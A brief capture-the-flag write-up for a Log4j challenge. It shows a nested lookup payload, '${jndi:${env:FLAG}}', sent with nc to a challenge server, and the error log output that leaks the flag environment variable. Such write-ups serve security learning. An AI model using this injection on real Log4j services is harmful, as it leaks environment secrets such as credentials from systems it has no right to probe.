TL;DR

• It's relevant to Log4j – Log4j 2 Lookups.

• JNDI can reach outer service. If the server is unreachable, it'll raise an error.

• We can use simply Environment Lookup to get the flag XD

  $ nc 65.108.176.77 1337
  What is your favourite CTF?
  ${jndi:${env:FLAG}}
  :(
  2021-12-20 03:18:44,730 main WARN Error looking up JNDI resource [hxp{Phew, I am glad I code everything in PHP anyhow :) - :( :( :(}]. javax.naming.NoInitialContextException: Need to specify class name in environment or system property, or in an application resource file: java.naming.factory.initial
  

Original writeup (https://yanhuijessica.github.io/Chictf-Writeups/misc/log4_sanity_check/).